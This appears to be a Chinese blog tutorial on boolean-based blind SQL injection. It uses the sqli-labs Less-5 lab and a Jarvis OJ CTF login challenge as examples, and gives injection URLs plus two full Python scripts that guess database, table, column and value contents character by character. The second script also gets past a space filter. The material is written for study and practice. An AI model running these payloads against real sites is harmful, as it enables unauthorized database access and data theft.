美文网首页
SQL注入之布尔盲注

SQL注入之布尔盲注

作者: Miracle778 | 来源:发表于2019-06-15 14:47 被阅读0次

    title: SQL注入之布尔盲注
    date: 2019-05-25 14:05:48
    tags:
    - SQL注入
    - 布尔盲注
    - python脚本
    - sqli-labs
    categories:
    - Web安全
    - SQL注入


    之前看sqli-labs的时候,有些东西没有仔细研究,现在折回来细学一下。先从布尔盲注开始,后面还会继续更新。


    前言

    简单写了写python脚本,写了get型的,也写了post型。
    get型的脚本主要是以sqli-labs的less-5、6做例子,post型的是用Jarvis Oj上的simple injection一题为例。
    想用二分法猜表名、列名但最后没用,直接用的枚举,因为觉得直接枚举的速度日常做做题够用了(233)


    原理

    什么叫盲注,说白了就是在sql注入过程中,sql语句的执行结果不回显到前端,这个时候就只能用一些别的方法进行判断或者尝试,这个判断或尝试过程就叫盲注。盲注又可以分为:1、基于布尔SQL盲注 2、基于时间的盲注 3、基于报错的盲注

    我今天这里写的是基于布尔的SQL盲注。


    例子

    GET型

    这里选的是sqli-labs的less-5做讲解。


    image

    既然是布尔盲注,那页面回显结果肯定要能被判别成True和False。
    比如这里的less-5,当我们访问http://127.0.0.1:9000/sqli-labs-master/Less-5/?id=1,页面返回You are in...,而当我们访问http://127.0.0.1:9000/sqli-labs-master/Less-5/?id=1',页面返回sql语句报错信息,没有You are in...

    image

    这里就可以把页面有You are in...视为True,没有视为False。然后我们就能以这个为标准去进行判断枚举。比如我们想要猜测数据库的长度,判断它是不是大于7,我们就可以访问http://127.0.0.1:9000/sqli-labs-master/Less-5/?id=1' and length(database())>7 %23,结果页面返回You are in...,说明结果为True,就是说数据库长度大于7,于是我们就能进行进一步猜测,通过枚举或者夹逼的方法,最终确定数据库长度。猜解数据库名的话,就用substr函数,例如http://127.0.0.1:9000/sqli-labs-master/Less-5/?id=1' and substr(database(),1,1)>'r' %23,这是判断数据库首位是否大于'r',根据结果可进一步推测并最终确定,方法也是枚举或者夹逼。

    POST型

    这里选用Jarvis Oj的simple injection题。http://web.jarvisoj.com:32787/login.php
    这题经过测试,发现当页面回显密码错误时,逻辑为True,当页面回显用户名错误时,逻辑为False。然后过滤了空格,可用/**/替代。找到这个布尔判断逻辑后,接下来的操作跟上面GET型讲的就差不多了。

    测试完后,就可以用写脚本,让python帮我们去猜了。


    脚本编写思路

    python3 布尔盲注编写思路
    先手工测试,找到用来判断True、False的标志,再看看存不存在过滤。手工测试完了后,就按下面流程来写代码,先用length函数获取要猜的对象的长度,然后根据这个长度利用substr函数逐位猜解。主要分两个函数

    1. 爆长度函数get_length(url,obj) 猜表长度、列长度
      obj参数举例:
      obj = "database()"
      obj = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
    2. 爆名字函数get_name(url,obj) obj语句里用group_concat,全猜了,而不用limit

    贴脚本

    GET型——sqli-labs Less-5

    '''
    @Author: Miracle778
    @Date: 2019-05-24 21:31:41
    @LastEditors: Miracle778
    @LastEditTime: 2019-05-25 12:44:58
    @Description: 盲注脚本GET型
    '''
    import requests
    import string
    
    class GetInject:
        # mysql不区分大小写,一般表名、列名都是由字母组成的比较多,所以把字母集放前面,先枚举
        chr_str = string.ascii_lowercase + string.punctuation + string.digits 
        def __init__(self,url,mark,obj):
            '''
            obj参数举例:
            obj = "database()"
            obj = "select table_name from information_schema.tables where table_schema=database() limit 0,1"
            '''
            self.url = url
            self.mark = mark
            self.obj = obj
        
        def get_length(self):
            payload_len = "' and length({0})={1} --+"
            #如果实例参数是双引号型或者整数型,记得把改payload格式
            i = 1
            while True:
                payload_len_i = payload_len.format(self.obj,i)
                r = requests.get(self.url+payload_len_i)
                if self.mark in r.text:
                    print("len",i)
                    return i
                i += 1
    
        def get_name(self):
            name_len = self.get_length()
            payload_name = "' and substr({0},{1},1)='{2}' --+"
            output = ''
            for i in range(1,name_len + 1):
                for c in self.chr_str:  # 直接枚举
                    payload_name_i = payload_name.format(self.obj,i,c)
                    r = requests.get(url+payload_name_i)
                    if self.mark in r.text:
                        output += c
                        print(output)
                        break
            return output
    
    # mark 是判断为True还是False的标志,这里是you are in
    url = "http://127.0.0.1:9000/sqli-labs-master/Less-5/?id=1"
    mark = "You are in"
    obj_t = "(select group_concat(table_name) from information_schema.tables where table_schema=database())"
    obj_c = "(select group_concat(column_name) from information_schema.columns where table_schema=database())"
    
    test1 = GetInject(url,mark,obj_t)
    test1.get_name()
    

    图中代码测试了一下爆表名,执行结果如下图。


    image

    如果用这个脚本跑别的实例的话,稍微改下url、mark、payload就好了。相关注释也都写在代码中了。


    POST型——Jarvis OJ simple Injection

    '''
    @Author: Miracle778
    @Date: 2019-05-25 12:45:17
    @LastEditors: Miracle778
    @LastEditTime: 2019-05-25 14:00:13
    @Description: Jarvis Oj simple injection post型盲注,过滤了空格
    '''
    
    import requests
    import string
    
    
    def get_length(url,obj):
        payload_len = "admin' and length({0})={1}#".replace(' ','/**/')
        i = 1
        while True:
            payload_len_i = payload_len.format(obj,i)
            param['username'] = payload_len_i
            r = requests.post(url,data=param)
            if mark not in r.text: 
                print("len:",i)
                return i
            i += 1
    
    def get_name(url,obj):
        payload_name = "admin' and substr({0},{1},1)='{2}'#".replace(' ','/**/')
        name_len = get_length(url,obj)
        chr_str = string.ascii_lowercase + string.digits + string.punctuation
        output = ''
        for i in range(1,name_len+1):
            for c in chr_str:
                payload_name_i = payload_name.format(obj,i,c)
                param['username'] = payload_name_i
                r = requests.post(url,data=param)
                if mark not in r.text:
                    output += c
                    # print(output)
                    break
        return output
    
    
    url = "http://web.jarvisoj.com:32787/login.php"
    param = {"password":"123"}
    mark = "用户名错误"
    
    obj_t = "(select group_concat(table_name) from information_schema.tables where table_schema=database())".replace(' ','/**/')
    obj_c = "(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='{0}')".replace(' ','/**/')
    obj_v = "(select group_concat({0}) from {1})".replace(' ','/**/')
    
    table_name = get_name(url,obj_t).split(',')
    for i in table_name:
        print("table:",i)
        obj_c_i = obj_c.format(i)
        column_name = get_name(url,obj_c_i).split(',')
        print("column:",column_name)
        for j in column_name:
            obj_v_i = obj_v.format(j,i)
            value = get_name(url,obj_v_i).split(',')
            print("{0}.{1}:{2}".format(i,j,value))
    

    整体代码结构跟GET型差不多,就是把请求类型改成了post,然后用/**/代替空格。
    执行结果如下图。

    image

    小结

    代码写的确实有点辣鸡,将就看吧。。。。

    相关文章

      网友评论

          本文标题:SQL注入之布尔盲注

          本文链接:https://www.haomeiwen.com/subject/bisbfctx.html